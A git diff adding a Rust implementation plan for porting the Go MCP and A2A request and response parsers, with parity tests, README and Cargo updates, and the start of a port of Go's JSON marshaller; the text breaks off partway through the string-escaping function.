diff --git a/docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md b/docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md new file mode 100644 index 000000000..5c2248ef6 --- /dev/null +++ b/docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md @@ -0,0 +1,290 @@ +# Praxis mode 6/8: the MCP and A2A parsers — Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Port `core/parse/mcp` and `core/parse/a2a` to Rust, each behind its own parity gate, and put the `mcp` and `a2a` extensions on the praxis-mode rows (#1724). + +**Architecture:** Two new modules in `cortex_parse`: `parse::mcp` and `parse::a2a`. Each one has a port of the Go functions (`parse_request`, `parse_response`) and an observer that ports the plugin dispatch (`OnRequest`, `OnResponseFrame` in `core/plugins/{mcpparser,a2aparser}/hooks.go`), as `InferenceObserver` does for inference. Two new parity tests read the #1503 fixtures under `core/plugins/{mcpparser,a2aparser}/testdata//` and compare with the Go `expected.json`. Then `record::row::Exchange` runs the three observers on each exchange, and the request and response rows carry `mcp` and `a2a`. + +**Tech Stack:** Rust (`praxis/filters`, toolchain from `praxis/rust-toolchain.toml`), serde_json. No Go change. + +**Spec:** `docs/superpowers/specs/2026-11-07-praxis-mode-design.md` (Section 3, "The parsers" and "The parity gate"; Section 5, "Parser parity"; Section 6 step 6). Issue: #1724. Earlier plan: `2026-11-09-praxis-mode-1-inference-parser.md` (the inference port and the parity gate). + +## Global Constraints + +- **The Go parser is the source of truth.** Do not change Go code or a Go `expected.json` to suit Rust. When the two differ, fix the Rust code. +- Decode with the rules of Go's `encoding/json`: use `crate::parse::inference::gojson` (case-insensitive keys, a later duplicate key wins, `null` is "no change", a type error fails the whole decode). Do not use plain serde derives to decode a body. +- Invalid UTF-8 in a body becomes U+FFFD, as in Go: use `crate::parse::inference::text::go_lossy_utf8` before `gojson::parse`. +- A Go `any` decodes with `gojson::any` (numbers become f64). +- Each Rust function has the snake_case name of the Go function it ports. Each module starts with a `//! Port of ...` line that names the Go file. +- Log nothing. The Go `slog` lines are not ported (the inference port does the same). +- Comments in ASD-STE100 style. Commits use `git commit -s`, a `: ` title, and end with `Assisted-By: Claude (Anthropic AI) `. No `Co-Authored-By`. +- Prose says Cortex for the product (CLAUDE.md naming rule). +- All commands run from `praxis/` unless a step says otherwise. rustup reads `rust-toolchain.toml` only below `praxis/`. + +## Decisions (made for this plan, with reasons) + +1. **The MCP path matcher is fixed to the Go default, `["/mcp"]`.** Reason: praxis mode runs no plugin config, so there is no `paths` to read. The fixtures use the default too. Port `bypass.Matcher.Match` for this one pattern: strip the query, apply a port of Go's `path.Clean`, and compare with `/mcp`. `/mcp` has no glob characters, so `path.Match` is a string compare. Add the comment `shortcut: only the default "/mcp" pattern, no globs; port path.Match when praxis mode reads mcp-parser config`. +2. **The response row carries the whole extension, request fields included.** Reason: direct mode does this (`core/listener/internal/sessionevent/sessionevent.go`, `SnapshotMCP`/`SnapshotA2A` on both rows). MCP params and A2A parts are small, so line format v1 does not need to move them to the request row only. Ingestion needs no change: `ingestLine.Event` is a `model.SessionEvent`, which already decodes `mcp` and `a2a`. +3. **The request row carries the extension as it is after `on_request`:** for MCP, no `result` and no `error`; for A2A, no response fields. Reason: direct mode snapshots the extension at request time. +4. **No capture for MCP or A2A rows.** Reason: `request_row` keeps a capture only for inference ("the body of any other request can be a credential"). That rule does not change. +5. **The observers are separate structs, one per parser, as `InferenceObserver` is.** `Exchange` holds all three. Reason: the Go plugins run one after the other on the same exchange. A request that two parsers claim is not possible (the method namespaces do not overlap, and inference has no `method`), but the code does not depend on it. +6. **Parity variants:** `buffered` (the whole body as one `last=true` frame) for every case. For an SSE case also `chunks_4096`, `chunks_1` and `crlf` (through `FrameReader`, as `parity.rs` does). No `gzip` variant. Reason: the parser never sees coded bytes. The `Decoder` is shared, and `parity.rs` already tests it. +7. **A2A `data` parts need a port of Go's `json.Marshal` for a decoded `any`:** `parse::a2a::go_marshal(&Value) -> String`. Rules: object keys sorted by bytes (serde_json `Map` is a `BTreeMap` in this workspace: `preserve_order` is not enabled; keep it so), no spaces, the five characters `<` `>` `&` U+2028 U+2029 written as the six-byte escapes `\u003c` `\u003e` `\u0026` `\u2028` `\u2029`, other escapes as Go 1.22+ `appendString` writes them (`\"`, `\\`, `\b`, `\f`, `\n`, `\r`, `\t`; every other byte below 0x20 as `\u00XX` with lowercase hex; 0x7F and other non-ASCII runes as raw UTF-8), and numbers as Go's `floatEncoder` writes a float64: `'f'` format with the shortest digits, but `'e'` format when `abs != 0 && (abs < 1e-6 || abs >= 1e21)`, with `e-07` cleaned to `e-7`, and a `+` on a positive exponent (`1e+21`). Reason: the part `content` is a string, so the parity test compares it byte for byte. +8. **`gojson` and `text` stay in `parse/inference/`.** T1 makes `gojson` `pub(crate)`. Reason: moving them is churn with no gain in this step. Phase D can move them. +9. **The parity tests reuse `tests/common/mod.rs`.** T1 adds `case_dirs(root: &Path) -> Vec` (every sorted subdirectory of `root` with a `request.headers` file). `cases(agent)` calls it. The MCP and A2A testdata have no `` level. Reason: the loader, the header parser and `same` are already correct for these fixtures (`response.headers` replaces the default headers, a missing `request.json` is an empty body). +10. **The A2A session id does not change the row's session.** Reason: the row's session comes from attribution (`Line.session`), as for inference. Direct-mode outbound rows are keyed the same way. A change belongs to the store, not the parser. +11. **One PR.** The estimate is about 1,700 counted lines, under the 2,000 limit. T2 and T3 share no file, so they run at the same time. +12. **The shared JSON-RPC code is in T1, in `praxis/filters/src/parse/jsonrpc.rs`** (`//! Port of core/internal/parsercommon/parsercommon.go ...`). Reason: T2 and T3 run at the same time and both need the `JSONRPCRequest` decode and the `data:` line scan. Go shares them in `parsercommon` too. Without this, each task writes its own copy. Reuse the existing helpers: `crate::parse::decode::decode_request_body`, `crate::parse::sse::normalize_sse`, `crate::parse::inference::text::{go_lossy_utf8, go_trim_space}`. +13. **The A2A `path` argument is not ported.** Reason: Go's `a2a.ParseRequest` uses `path` only in `slog` lines, and this plan logs nothing. + +## Review Focus + +1. MCP `tools-call-sse-result-then-error`: the first response wins on both paths, and a later error frame does not set `error`. Pinned by `mcp_parity` and `later_response_frame_is_ignored` (T2). +2. MCP `ParseResponse` tries a whole-body JSON decode first, then scans `data:` lines. A buffered SSE body given as one `last=true` frame must still give the result. Pinned by `mcp_parity` (`buffered` variant of `tools-call-sse`). +3. A2A `message-stream-task-artifacts`: a Task event replaces the joined `artifact-update` text. Pinned by `a2a_parity`. +4. A2A `message-send-task-id-number`: a number `id` gives no `taskId`, and the decode does not fail. Pinned by `a2a_parity`. +5. A2A `data` part content is byte-equal to Go's `json.Marshal`. Pinned by `go_marshal_matches_go` (T3). +6. A request row does not show the response's MCP `result`. Pinned by `mcp_request_row_has_no_result` (T4). + +--- + +## File map + +| File | Task | Change | +|---|---|---| +| `praxis/filters/src/parse/model.rs` | 1 | `McpExtension`, `McpError`, `A2aExtension`, `A2aPart`; field-drift test for `mcp.` and `a2a.` | +| `praxis/filters/src/parse/mod.rs` | 1 | `pub mod jsonrpc; pub mod mcp; pub mod a2a;` | +| `praxis/filters/src/parse/jsonrpc.rs` (new) | 1 | `JsonRpcRequest`, `decode_request`, `for_each_data_payload` (Decision 12) | +| `praxis/filters/src/parse/mcp/mod.rs` (new, stub) | 1 → 2 | MCP port | +| `praxis/filters/src/parse/mcp/observer.rs` (new) | 2 | `McpObserver` | +| `praxis/filters/src/parse/a2a/mod.rs` (new, stub) | 1 → 3 | A2A port | +| `praxis/filters/src/parse/a2a/marshal.rs` (new) | 3 | `go_marshal` | +| `praxis/filters/src/parse/a2a/observer.rs` (new) | 3 | `A2aObserver` | +| `praxis/filters/src/parse/inference/mod.rs` | 1 | `pub(crate) mod gojson;` | +| `praxis/filters/tests/common/mod.rs` | 1 | `case_dirs` | +| `praxis/filters/tests/mcp_parity.rs` (new) | 2 | MCP parity gate | +| `praxis/filters/tests/a2a_parity.rs` (new) | 3 | A2A parity gate | +| `praxis/filters/src/record/row.rs` | 4 | run the MCP and A2A observers; `mcp` and `a2a` on both rows | +| `praxis/filters/src/record/line.rs` | 4 | `Event.mcp`, `Event.a2a`; remove both from `NOT_SET_IN_PRAXIS_MODE` | +| `praxis/README.md` | 4 | the parity rule names the three parsers and their regenerate commands | + +## PRs + +| PR | Title | Parent | Tasks | estLines | +|---|---|---|---|---| +| P1 | `feat: Port the MCP and A2A parsers to praxis mode` | "" | T1, T2, T3, T4 | 1700 | + +--- + +### Task 1: The shared types, module stubs and fixture loader + +Depends on: none. Estimate: 280 lines. + +**Files:** +- Modify: `praxis/filters/src/parse/model.rs` +- Modify: `praxis/filters/src/parse/mod.rs` +- Create: `praxis/filters/src/parse/jsonrpc.rs` (Decision 12) +- Modify: `praxis/filters/src/parse/inference/mod.rs` (`mod gojson;` → `pub(crate) mod gojson;`) +- Create: `praxis/filters/src/parse/mcp/mod.rs`, `praxis/filters/src/parse/a2a/mod.rs` (each only its `//! Port of core/parse//.go ...` doc line) +- Modify: `praxis/filters/tests/common/mod.rs` + +**Interfaces (produces):** + +```rust +// parse/model.rs. Mirrors model.MCPExtension and model.MCPError (core/model/extensions.go). +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct McpExtension { + #[serde(skip_serializing_if = "String::is_empty")] pub method: String, + #[serde(skip_serializing_if = "Option::is_none")] pub rpc_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] pub params: Option>, + #[serde(skip_serializing_if = "Option::is_none")] pub result: Option>, + #[serde(rename = "error", skip_serializing_if = "Option::is_none")] pub err: Option, + #[serde(skip_serializing_if = "is_false")] pub is_action: bool, +} +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +pub struct McpError { + pub code: i64, + pub message: String, + #[serde(skip_serializing_if = "Option::is_none")] pub data: Option, +} +// Mirrors model.A2AExtension and model.A2APart. +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct A2aExtension { + method, rpc_id: Option, session_id, message_id, task_id, role: String (omit empty), + parts: Vec (omit empty), + final_status, artifact, error_message: String (omit empty), + is_action: bool (omit false), +} +#[derive(Clone, Debug, Default, PartialEq, Serialize)] +pub struct A2aPart { pub kind: String, #[serde(skip_serializing_if = "String::is_empty")] pub content: String } + +// parse/jsonrpc.rs. Port of parsercommon.JSONRPCRequest. +pub(crate) struct JsonRpcRequest { pub method: String, pub id: Option, pub params: Option> } +impl JsonRpcRequest { + /// Port of StringParam: params[key] when it is a string, else "". + pub(crate) fn string_param(&self, key: &str) -> String; + /// Port of MapParam: params[key] when it is an object, else None. + pub(crate) fn map_param(&self, key: &str) -> Option<&serde_json::Map>; +} +/// `body` is already through decode_request_body and is not empty. None when the first +/// byte after ` \t\r\n` is not `{`, or when the gojson decode fails (a non-object +/// `params` is a type error; a second `params` key merges into the first map, later key wins; +/// `null` leaves it None; each value through `gojson::any`). +pub(crate) fn decode_request(body: &[u8]) -> Option; +/// The Go `data:` scan: normalize_sse, split on b'\n', go_trim_space each line, keep lines +/// that start with `data:`, go_trim_space the rest, skip empty. Calls f on each payload in +/// order and stops when f returns true. +pub(crate) fn for_each_data_payload(body: &[u8], f: impl FnMut(&[u8]) -> bool); + +// tests/common/mod.rs +/// Every subdirectory of `root` that has a request.headers file, sorted. +pub fn case_dirs(root: &Path) -> Vec; +``` + +Go's `omitempty` on `Params map[string]any` omits an empty map too. So `params: Some(empty)` must serialize as absent: use `skip_serializing_if = "map_is_empty"` with `fn map_is_empty(m: &Option>) -> bool { m.as_ref().is_none_or(|m| m.is_empty()) }`. The same for `result`. Note the difference from the parser's view: Go's `ParseResponse` checks `rpc.Result != nil`, and an empty `{}` result is not nil. So the parser keeps `Some(empty)`, and only the JSON omits it. + +- [ ] **Step 1: Write the failing tests** in `model.rs` `mod tests`: + - `mcp_a2a_zero_values_follow_go_omitempty`: `McpExtension::default()` → `{}`; `McpExtension { params: Some(Map::new()), ..}` → `{}`; `McpError::default()` → `{"code":0,"message":""}`; `A2aExtension::default()` → `{}`; `A2aPart::default()` → `{"kind":""}`. + - In `jsonrpc.rs` `mod tests`: `decode_request_rules` (`[1]` and ` x` give None; `{"method":"m","params":1}` gives None; `{"method":"m","params":{"a":1},"params":{"b":2}}` gives params with both `a` and `b`; `{"METHOD":"m"}` gives method `m`) and `data_payloads_follow_go` (`"\u{feff}data: a\r\n\r\ndata:\ndata:b\n: c"` gives `["a", "b"]`; a `true` return stops after the first). + - `every_go_mcp_field_is_set_or_listed` and `every_go_a2a_field_is_set_or_listed`: the same check as `every_go_inference_field_is_set_or_listed`, for the `mcp.` and `a2a.` lines of `core/pipeline/testdata/parsed-request.fields`. Move the body of the inference test into `fn check_fields(prefix: &str, sample: Value, not_set: &[&str])` and call it three times. `mcp` and `a2a` have no not-set fields. `kind == "map"` paths use `{}` (see `parsefixture.checkFieldPaths`): extend `walk` so that the children of a `map` path go under `{}`. +- [ ] **Step 2: Run** `cargo test -p cortex-praxis-filters --lib model` and then `cargo test -p cortex-praxis-filters --lib jsonrpc` Expected: both FAIL (types missing). +- [ ] **Step 3: Implement** the types, `jsonrpc.rs`, the module declarations, the `pub(crate)` change and `case_dirs`. Add `#[allow(dead_code)]` on the `jsonrpc` items only if clippy reports them unused before T2 and T3 use them; T4's step 4 removes any such allow that is no longer needed. Change `cases(agent)` to call `case_dirs`. +- [ ] **Step 4: Run** `cargo test -p cortex-praxis-filters && cargo clippy --all-targets --locked -- -D warnings` Expected: PASS (an unused `case_dirs` is allowed by the module's `#![allow(dead_code)]`). +- [ ] **Step 5: Commit** `feat: Add the MCP and A2A extension types to the praxis filters`. + +### Task 2: Port the MCP parser, behind its parity gate + +Depends on: T1. Estimate: 550 lines. + +**Files:** +- Modify: `praxis/filters/src/parse/mcp/mod.rs` +- Create: `praxis/filters/src/parse/mcp/observer.rs` +- Create: `praxis/filters/tests/mcp_parity.rs` + +**Interfaces (produces):** + +```rust +pub use observer::McpObserver; +/// Port of mcp.ParseRequest with the default paths matcher ["/mcp"]. `path` may have a query. +pub fn parse_request(method: &str, path: &str, headers: &HeaderMap, body: &[u8]) -> Option; +/// Port of mcp.ParseResponse. +pub fn parse_response(body: &[u8], ext: &mut McpExtension) -> bool; + +pub struct McpObserver { /* ext: Option */ } +impl McpObserver { + /// Port of MCPParser.OnRequest. + pub fn on_request(method: &str, path: &str, headers: &HeaderMap, body: &[u8]) -> Self; + /// Port of MCPParser.OnResponseFrame (the Observe/Skip calls are not ported). + pub fn on_response_frame(&mut self, frame: &[u8], last: bool); + pub fn extension(&self) -> Option<&McpExtension>; +} +``` + +**Port notes (read `core/parse/mcp/mcp.go` and `core/plugins/mcpparser/hooks.go` in full first):** +- `parse_request`: `decode_request_body` first. An empty body: `DELETE` with a non-empty `Mcp-Session-Id` on the MCP path gives `$transport/terminate`; `GET` on the MCP path gives `$transport/stream`; else `None`. The method compare is exact (`"DELETE"`, `"GET"`), as in Go. +- A non-empty body goes to `jsonrpc::decode_request` (T1). `None` is not claimed. A method outside `is_mcp_method` is not claimed. +- `parse_response` / `parseResponse`: first a whole-body decode of `jsonRPCResponse` (`id` any, `result` `map[string]any`, `error` `*jsonRPCError` with `code` int, `message` string, `data` any). It counts only when there is no decode error and `result` or `error` is non-nil. Else `normalize_sse` the body, split on `\n`, trim each line (Go `bytes.TrimSpace`: ASCII space, `\t\n\v\f\r`, plus U+0085 and U+00A0 as UTF-8), take lines that start with `data:`, trim the rest, skip empty, decode each; the first with a result or error wins. Use `jsonrpc::for_each_data_payload` (T1) for this scan. `code` is a Go `int`: a fraction or an out-of-range number is a type error (use `gojson::int`). +- On an error response: set `err`, and do not touch `result`. On a result: set `result`. +- Observer `on_response_frame`: no extension → nothing. Empty frame → nothing (the Skip/Observe is not ported). `result` or `err` already set → ignore the frame. Else `parse_response(frame, ext)`. + +- [ ] **Step 1: Write the failing parity test** `tests/mcp_parity.rs`. For each dir in `common::case_dirs(/../../core/plugins/mcpparser/testdata)`, `load` it, run each variant (Decision 6), serialize `observer.extension()` (`Value::Null` for `None`), and `same(&expected, &got, name)`. Assert that at least 11 cases ran. Variants: + - `buffered`: `McpObserver::on_request(&case.method, &case.target, &case.req_headers, &case.req_body)`, then `on_response_frame(&case.resp_body, true)`. + - SSE only, `chunks_4096` / `chunks_1` / `crlf`: as `parity.rs` `chunks`, through `FrameReader::new(MAX_BODY_SIZE)`, each frame with `last=false`, then `on_response_frame(b"", true)`. +- [ ] **Step 2: Write the failing unit tests** in `mcp/mod.rs`: `later_response_frame_is_ignored` (a result frame, then an error frame: `err` stays `None`); `path_clean_matches_go` (`/mcp/` `//mcp` `/a/../mcp` `/mcp?x=1` match; `/mcpx` `/mcp/x` do not); `non_object_params_is_not_claimed`; `empty_result_object_counts` (`{"result":{}}` returns true, and the JSON omits `result`); `error_code_fraction_is_not_a_response` (`{"error":{"code":1.5,"message":"m"}}` returns false). +- [ ] **Step 3: Run** `cargo test -p cortex-praxis-filters --test mcp_parity --lib mcp` Expected: FAIL. +- [ ] **Step 4: Implement** `mcp/mod.rs` and `mcp/observer.rs`. +- [ ] **Step 5: Run** `cargo test -p cortex-praxis-filters && cargo clippy --all-targets --locked -- -D warnings && cargo fmt --check` Expected: PASS. +- [ ] **Step 6: Commit** `feat: Port the MCP parser to praxis mode`. + +### Task 3: Port the A2A parser, behind its parity gate + +Depends on: T1. Estimate: 700 lines. + +**Files:** +- Modify: `praxis/filters/src/parse/a2a/mod.rs` +- Create: `praxis/filters/src/parse/a2a/marshal.rs` +- Create: `praxis/filters/src/parse/a2a/observer.rs` +- Create: `praxis/filters/tests/a2a_parity.rs` + +**Interfaces (produces):** + +```rust +pub use observer::A2aObserver; +/// Port of a2a.ParseRequest. +pub fn parse_request(headers: &HeaderMap, body: &[u8]) -> Option; +/// Port of a2a.ParseResponse: folds one body or one SSE frame into ext. +pub fn parse_response(body: &[u8], ext: &mut A2aExtension); +/// Go's json.Marshal of a decoded `any` (Decision 7). +pub(crate) fn go_marshal(v: &Value) -> String; + +pub struct A2aObserver { /* ext: Option */ } +impl A2aObserver { + /// Port of A2AParser.OnRequest. + pub fn on_request(headers: &HeaderMap, body: &[u8]) -> Self; + /// Port of A2AParser.OnResponseFrame: a non-empty frame goes to parse_response. + pub fn on_response_frame(&mut self, frame: &[u8], last: bool); + pub fn extension(&self) -> Option<&A2aExtension>; +} +``` + +**Port notes (read `core/parse/a2a/a2a.go` and `core/plugins/a2aparser/hooks.go` in full first):** +- `parse_request`: `decode_request_body`; an empty body is not claimed; else `jsonrpc::decode_request` (T1), and `None` or a method outside `is_a2a_method` is not claimed. Then the field order of the Go code: `contextId`, else `sessionId` from params (`string_param`); `params.message` (`map_param`): `taskId`, `contextId` (only when no session id yet), `role`, `messageId` (string values only), `parts` (an array only) through `parse_a2a_parts`. Then `params.id` when `task_id_param_is_id(method)` and no task id, then `params.taskId`. +- `parse_a2a_parts`: skip a non-object part, and a part whose `kind` is not a non-empty string. `text` → `text` string; `file` → `data` string, else `uri` string; `data` → `go_marshal(data)` when `data` is present and not null. Other kinds → empty content. +- `parse_response`: `extract_response_summary`, then `extract_session_id` only when `session_id` is empty. +- `extract_response_summary`: when the whole body is valid JSON (`gojson::parse` succeeds on the lossy text), `fold_response(body)`. Else `jsonrpc::for_each_data_payload` (T1), `fold_response` on each payload, never stopping early. +- `extract_send_response`: decode the Go struct with `gojson`. Any decode error, or an empty `result.status.state`, returns false. `kind` and `id` are `any` (never a type error). Note: `status.message.parts[].kind` and `.text` are strings, so a number there is a type error and the whole decode fails. Artifacts: the last non-empty `text` part of all artifacts wins (assign, not append). `errorMessage` only for state `failed`: the first non-empty text part. +- `extract_stream_event`: kind `artifact-update` or `artifact`: append each non-empty text part with `append_capped` (64 KiB cap, marker `…(truncated)` once). `kind` is a `string` here (not `any`), so a non-string kind fails this decode. `append_capped` cuts at a byte index, as Go does. A Go string can hold a cut UTF-8 sequence, and Go's `json.Marshal` writes U+FFFD for it. A Rust `String` cannot hold it. So keep `artifact` as a `String`, and append `String::from_utf8_lossy(&s.as_bytes()[..remaining])` then the marker. The JSON is then the same as Go's. Measure the cap on the Rust `String`'s byte length. Add a unit test with a multi-byte rune at the cut. +- `result_task_id`: kind `"task"` (a string compare on the `any`): the `id` when it is a string, else empty. Other kinds: `taskId`. +- `session_id_from_json`: decode `result.contextId` and `result.sessionId` (strings). An error gives empty. contextId first. +- `extract_session_id`: `session_id_from_json(body)`; when empty, `jsonrpc::for_each_data_payload` and stop at the first payload with a non-empty id. (Go does not skip an empty payload here, but an empty payload gives an empty id, so the shared scan is equal.) +- `go_marshal` (`marshal.rs`): Decision 7. The input is a `gojson::any` value, so every number is an f64. + +- [ ] **Step 1: Write the failing parity test** `tests/a2a_parity.rs`, as `mcp_parity.rs`, for `core/plugins/a2aparser/testdata` (at least 13 cases). `A2aObserver::on_request(&case.req_headers, &case.req_body)`. +- [ ] **Step 2: Write the failing unit tests:** `go_marshal_matches_go` with these exact outputs, written as Rust raw strings (`r#"..."#`) so that each backslash is one byte: input `{"b":1,"a":[true,null,"<&>"]}` gives `{"a":[true,null,"\u003c\u0026\u003e"],"b":1}`; `1e21` gives `1e+21`; `1e-7` gives `1e-07` cleaned to `1e-7`; `0.000001` gives `0.000001`; `123456789012345680000` gives `123456789012345680000`; `1.5` gives `1.5`; `-0.0` gives `-0`; the JSON string `" \u0001\b\u2028"` (decoded: space, U+0001, U+0008, U+2028) gives `" \u0001\b\u2028"`. Plus `append_capped_cuts_once`, `append_capped_cut_rune_is_replaced`, `data_part_content_is_go_json`, `number_task_id_gives_no_task_id`. +- [ ] **Step 3: Run** `cargo test -p cortex-praxis-filters --test a2a_parity --lib a2a` Expected: FAIL. +- [ ] **Step 4: Implement** `a2a/mod.rs`, `a2a/marshal.rs`, `a2a/observer.rs`. +- [ ] **Step 5: Run** `cargo test -p cortex-praxis-filters && cargo clippy --all-targets --locked -- -D warnings && cargo fmt --check` Expected: PASS. +- [ ] **Step 6: Commit** `feat: Port the A2A parser to praxis mode`. + +### Task 4: Put `mcp` and `a2a` on the praxis-mode rows + +Depends on: T2, T3. Estimate: 170 lines. + +**Files:** +- Modify: `praxis/filters/src/record/line.rs` (`Event` gets `a2a: Option` and `mcp: Option`, both `skip_serializing_if = "Option::is_none"`; remove `"a2a"` and `"mcp"` and their comment from `NOT_SET_IN_PRAXIS_MODE`; set both in `full_event()` of the drift test) +- Modify: `praxis/filters/src/record/row.rs` +- Modify: `praxis/README.md` (first bullet: "ports of the Go inference, MCP and A2A parsers"; "The parity rule": name `parity.rs`, `mcp_parity.rs`, `a2a_parity.rs` and the two new regenerate commands `GOWORK=off go -C ../core test ./plugins/mcpparser -run TestFixtures -update` and the same for `a2aparser`) + +**Changes in `row.rs`:** +- `Exchange` gets `mcp: Option` and `a2a: Option`. `on_request_body` builds both next to the inference observer: `McpObserver::on_request(&self.method, &target, &self.headers, body)` and `A2aObserver::on_request(&self.headers, body)`. +- `Response::feed` takes the three observers. Group them in one private struct `Observers { inference, mcp, a2a }` in `row.rs`, with `fn frame(&mut self, headers: &HeaderMap, f: &[u8], last: bool)` that calls each one. Replace every `self.observer` call site (`feed`, `on_response_end`'s flush and last frame) with it. Reason: one call site per frame, so a later parser cannot be missed. +- `request_row`: `mcp` and `a2a` are clones of the extensions after `on_request` (Decision 3). `response_row`: clones of the extensions at the end (Decision 2). The deferred rows (`deferred`, `on_abort`) go through `response_row`, so they get them too. + +- [ ] **Step 1: Write the failing tests** in `row.rs` `mod tests`, with the fixture loader of the existing tests pointed at `core/plugins/mcpparser/testdata/tools-call-sse` and `core/plugins/a2aparser/testdata/message-stream`: + - `mcp_request_row_has_no_result`: the request row has `event.mcp.method == "tools/call"`, `params`, and no `result`. The response row has `result`, and `event.mcp` equals the case's `expected.json` (use `same`). + - `a2a_rows_carry_the_extension`: the response row's `event.a2a` equals `expected.json`. The request row has no `finalStatus`. + - `mcp_row_has_no_capture`: both lines have `capture == None`. +- [ ] **Step 2: Run** `cargo test -p cortex-praxis-filters --lib row` Expected: FAIL. +- [ ] **Step 3: Implement.** +- [ ] **Step 4: Run** `cargo test -p cortex-praxis-filters && cargo clippy --all-targets --locked -- -D warnings && cargo fmt --check` Expected: PASS. Remove any `#[allow(dead_code)]` that T1 put on `jsonrpc` items. `row_parity` still passes: the replay rows are inference rows with no `mcp` or `a2a`. +- [ ] **Step 5: Run the Go goldens once, to show they did not change:** from the repo root, `GOWORK=off go -C core test ./plugins/mcpparser/ ./plugins/a2aparser/ -run Fixtures -count=1` Expected: PASS. +- [ ] **Step 6: Commit** `feat: Record MCP and A2A facts on praxis-mode rows`. + +## Gate + +From the worktree root: + +```sh +(cd praxis && cargo fmt --check && cargo clippy --all-targets --locked -- -D warnings && cargo test --locked) && GOWORK=off go -C core test ./plugins/mcpparser/ ./plugins/a2aparser/ -run Fixtures -count=1 +``` + +## Self-review + +- Issue scope: MCP port → T2. A2A port → T3. Each behind its own parity gate → `mcp_parity.rs` (T2), `a2a_parity.rs` (T3). "Every MCP and A2A fixture from #1503 gives the same event JSON in Go and in Rust" → both parity tests run every case directory and assert a minimum count. +- Spec Section 3 "writes the parsed request and response into filter metadata in Cortex's types (`inference`, `mcp`, `a2a`)": the row builder holds the parsed facts and writes them on the rows (T4). The `line.rs` drift list said "The a2a and mcp parsers move at step 6"; T4 removes that entry, so the schema drift test now checks both fields. +- CI: `.github/workflows/praxis.yaml` already runs on `core/plugins/{mcpparser,a2aparser}/**` and reports without blocking there. No workflow change. +- Gate check (plan review, 11-10): `cargo fmt --check` from `praxis/` passes on the base. The gate has no Go format or vet step: this plan changes no Go code. +- Out of scope: MCP `paths` config (Decision 1), the A2A session rekey (Decision 10), the release job (step 7). diff --git a/praxis/README.md b/praxis/README.md index 18a195ef5..8c5e85794 100644 --- a/praxis/README.md +++ b/praxis/README.md @@ -3,7 +3,7 @@ This is the Rust workspace for praxis mode (#1714). It has two crates: - `cortex-praxis-filters` (`filters/`): the Cortex filters that run inside - Praxis, a port of the Go inference parser (`parse`), and the row builder and + Praxis, ports of the Go inference, MCP and A2A parsers (`parse`), and the row builder and emitter that send rows to Cortex (`record`). - `cortex-gateway` (`server/`): the Praxis server with the Cortex filters registered (#1719). @@ -152,11 +152,16 @@ and this suite then shows the Rust gap. To regenerate, from this directory: ```sh GOWORK=off go -C ../core test ./plugins/inferenceparser -run TestFixtures -update +GOWORK=off go -C ../core test ./plugins/mcpparser -run TestFixtures -update +GOWORK=off go -C ../core test ./plugins/a2aparser -run TestFixtures -update ``` `filters/tests/parity.rs` reads each case under `../core/plugins/inferenceparser/testdata/`. It feeds the body to the Rust parser in several ways (whole, in small chunks, gzip-coded, with CRLF line endings). +`filters/tests/mcp_parity.rs` and `filters/tests/a2a_parity.rs` do the same for +`../core/plugins/mcpparser/testdata/` and `../core/plugins/a2aparser/testdata/` +(whole, and for an SSE case also in chunks and with CRLF line endings). Each result must equal the Go `expected.json`. When the two differ, fix the Rust code. Do not change Go behavior or a Go diff --git a/praxis/filters/Cargo.toml b/praxis/filters/Cargo.toml index 6cb51667b..8d1821d81 100644 --- a/praxis/filters/Cargo.toml +++ b/praxis/filters/Cargo.toml @@ -8,7 +8,8 @@ publish = false [dependencies] serde = { version = "1", features = ["derive"] } -serde_json = { version = "1", features = ["raw_value"] } +# float_roundtrip: a number parses to the nearest float64, as in Go (gojson::any). +serde_json = { version = "1", features = ["raw_value", "float_roundtrip"] } http = "1" flate2 = "1" zstd = "0.14" diff --git a/praxis/filters/src/parse/a2a/marshal.rs b/praxis/filters/src/parse/a2a/marshal.rs new file mode 100644 index 000000000..511c017d7 --- /dev/null +++ b/praxis/filters/src/parse/a2a/marshal.rs @@ -0,0 +1,116 @@ +//! Port of Go's encoding/json Marshal (encode.go) for a value that json.Unmarshal +//! decoded into an `any`: objects, arrays, strings, float64, bool and null. + +use std::fmt::Write; + +use serde_json::Value; + +/// Go's json.Marshal of a decoded `any`. Object keys are sorted by bytes (the +/// serde_json `Map` of this workspace is a `BTreeMap`), and every number is a float64. +pub(crate) fn go_marshal(v: &Value) -> String { + let mut out = String::new(); + encode(&mut out, v); + out +} + +fn encode(out: &mut String, v: &Value) { + match v { + Value::Null => out.push_str("null"), + Value::Bool(b) => out.push_str(if *b { "true" } else { "false" }), + Value::Number(n) => float(out, n.as_f64().unwrap_or_default()), + Value::String(s) => string(out, s), + Value::Array(a) => { + out.push('['); + for (i, e) in a.iter().enumerate() { + if i > 0 { + out.push(','); + } + encode(out, e); + } + out.push(']'); + } + Value::Object(m) => { + out.push('{'); + for (i, (k, e)) in m.iter().enumerate() { + if i > 0 { + out.push(','); + } + string(out, k); + out.push(':'); + encode(out, e); + } + out.push('}'); + } + } +} + +/// Port of floatEncoder for float64: the shortest digits, in 'e' format when +/// abs < 1e-6 or abs >= 1e21, else in 'f' format. +fn float(out: &mut String, f: f64) { + let abs = f.abs(); + if abs != 0.0 && !(1e-6..1e21).contains(&abs) { + // Rust writes "1e21" and "1.5e-7". Go writes "1e+21" and, after its + // clean-up of "e-07" to "e-7", the same negative exponent as Rust. + let s = format!("{f:e}"); + match s.split_once("e-") { + Some(_) => out.push_str(&s), + None => out.push_str(&s.replacen('e', "e+", 1)), + } + } else { + // Display gives the shortest digits and never an exponent, as Go's 'f' with -1. + let _ = write!(out, "{f}"); + } +} + +/// Port of appendString with escapeHTML set. +fn string(out: &mut String, s: &str) { + out.push('"'); + for c in s.chars() { + match c { + '"' => out.push_str("\\\""), + '\\' => 